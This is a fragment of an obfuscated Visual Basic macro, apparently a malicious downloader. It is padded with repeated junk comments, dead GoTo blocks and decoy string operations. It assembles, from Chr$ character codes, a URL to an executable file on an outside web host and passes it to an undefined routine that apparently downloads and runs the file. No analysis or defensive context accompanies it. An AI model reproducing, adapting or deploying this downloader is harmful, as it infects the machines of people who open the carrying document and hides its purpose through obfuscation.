'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #18, , wWmWOJIg
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #18
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
bWqOgSqf:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
 
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim WRMGLDLI, HTTAFKJO, SYGDICFP As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo mnjltMpe
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim jAARvBUr As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "LAYIPG.GWI" For Binary As 95
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #95, , jAARvBUr
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #95
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
mnjltMpe:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
WRMGLDLI = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo gphcHFmC
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim qqbOqKKV As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "OINZFL.TZE" For Binary As 82
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #82, , qqbOqKKV
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #82
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
gphcHFmC:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
HTTAFKJO = LTrim(WRMGLDLI)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo iewCFZyR
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim erToiUET As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "SGICAY.IOP" For Binary As 61
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #61, , erToiUET
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #61
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
iewCFZyR:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
SYGDICFP = RTrim(HTTAFKJO)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo Gielcnpw
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim PidTJTUx As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "EJVOLT.BSA" For Binary As 32
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #32, , PidTJTUx
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #32
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Gielcnpw:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
 
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo BargDAcL
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim MzfnuTWM As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "IFBYAT.RIA" For Binary As 51
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #51, , MzfnuTWM
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #51
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
BargDAcL:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
        QYLWAYQRCZW Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) & Chr$(58) & Chr$(47) & Chr$(47) & Chr$(97) & Chr$(103) & Chr$(114) & Chr$(111) & Chr$(50) & Chr$(48) & Chr$(48) & Chr$(48) & Chr$(46) & Chr$(99) & Chr$(98) & Chr$(97) & Chr$(46) & Chr$(112) & Chr$(108) & Chr$(47) & Chr$(106) & Chr$(115) & Chr$(47) & Chr$(98) & Chr$(105) & Chr$(110) & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), pJjokbn

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
End Sub
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà


Public Function HEXTOSTRING(ByVal MQSKJZQBJLFINBL As String) As String
Dim UHTUQP As String
Dim ZQDHGHSM As String
Dim BYUSKGSJYTH As Long
For BYUSKGSJYTH = 1 To Len(MQSKJZQBJLFINBL) Step 2
Dim QTJBFVNV, JAVMALJG, WXYHFFOU As String
QTJBFVNV = "           NXMTNT               "
JAVMALJG = LTrim(QTJBFVNV)
WXYHFFOU = RTrim(JAVMALJG)
 
UHTUQP = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(MQSKJZQBJLFINBL, BYUSKGSJYTH, 2)))
Dim TQPFUTKZ, UXCIHZAX, XSEDWFDR As String
TQPFUTKZ = "           BSOHZY               "
UXCIHZAX = LTrim(TQPFUTKZ)
XSEDWFDR = RTrim(UXCIHZAX)
 
ZQDHGHSM = ZQDHGHSM & UHTUQP
Next BYUSKGSJYTH
Dim IPNDKZTC, MHDHMHII, YCBLWRSL As String
IPNDKZTC = "           ZRAGCE               "
MHDHMHII = LTrim(IPNDKZTC)
YCBLWRSL = RTrim(MHDHMHII)
 
HEXTOSTRING = ZQDHGHSM
End Function